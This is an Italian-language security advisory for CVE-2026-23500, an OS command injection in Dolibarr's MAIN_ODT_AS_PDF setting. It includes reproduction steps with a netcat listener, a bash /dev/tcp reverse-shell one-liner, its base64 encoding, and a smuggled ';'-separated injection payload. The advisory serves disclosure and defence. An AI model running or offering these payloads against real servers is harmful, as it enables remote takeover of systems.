
CVE-2026-23500 - Iniezione di comandi del sistema operativo (RCE) tramite la configurazione MAIN_ODT_AS_PDF in Dolibarr
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2026-23500 |
| Gravità | CRITICAL |
| Advisory | GHSA-w5j3-8fcr-h87w |
| Scoperta da | Lukasz Rybak |
Un amministratore autenticato può eseguire comandi arbitrari del sistema operativo iniettando un payload dannoso nella costante di configurazione MAIN_ODT_AS_PDF. Questa vulnerabilità esiste perché l'applicazione non riesce a validare o a sottoporre a escape correttamente il percorso del comando prima di passarlo alla funzione exec() nel processo di conversione da ODT a PDF.
La vulnerabilità si trova in htdocs/includes/odtphp/odf.php.
Quando il sistema tenta di convertire un documento ODT in PDF (ad es., nelle Proposte commerciali, nelle Fatture), costruisce un comando shell utilizzando l'impostazione globale MAIN_ODT_AS_PDF.
Frammento di codice (htdocs/includes/odtphp/odf.php, circa riga 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
Mentre il nome del file $name viene sanificato tramite escapeshellcmd(), la variabile di configurazione MAIN_ODT_AS_PDF viene recuperata direttamente dal database e concatenata all'inizio della stringa. Un attaccante con privilegi amministrativi può impostare questa variabile in modo che includa un separatore di comandi (come ;) seguito da comandi arbitrari.
Prerequisiti:
Passaggi per riprodurre (Reverse Shell):
172.26.0.1, Porta: 4445):nc -lvnp 4445
Prepara il payload. Per evitare problemi con i caratteri speciali (come & o >) che vengono sottoposti a escape dall'applicazione web o dalla shell, codifica il comando della reverse shell in Base64:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
Vai su Home -> Setup -> Altro setup.
Aggiungi o modifica la costante MAIN_ODT_AS_PDF con il seguente payload di iniezione:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(Spiegazione: jodconverter soddisfa il controllo iniziale, ; agisce come separatore di comandi e la pipeline decodifica ed esegue il payload Base64).
Vai su Commerciale -> Nuova proposta, crea una bozza, seleziona un modello ODT (ad es., generic_proposal_odt) e clicca su .
Esecuzione di codice da remoto (RCE).
Un attaccante che ottiene l'accesso a un account amministratore (o un amministratore malintenzionato) può eseguire comandi arbitrari sul server sottostante con i privilegi dell'utente del server web (tipicamente www-data). Ciò consente di:
Segnalata da Łukasz Rybak
Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite sono solo a scopo educativo e difensivo.
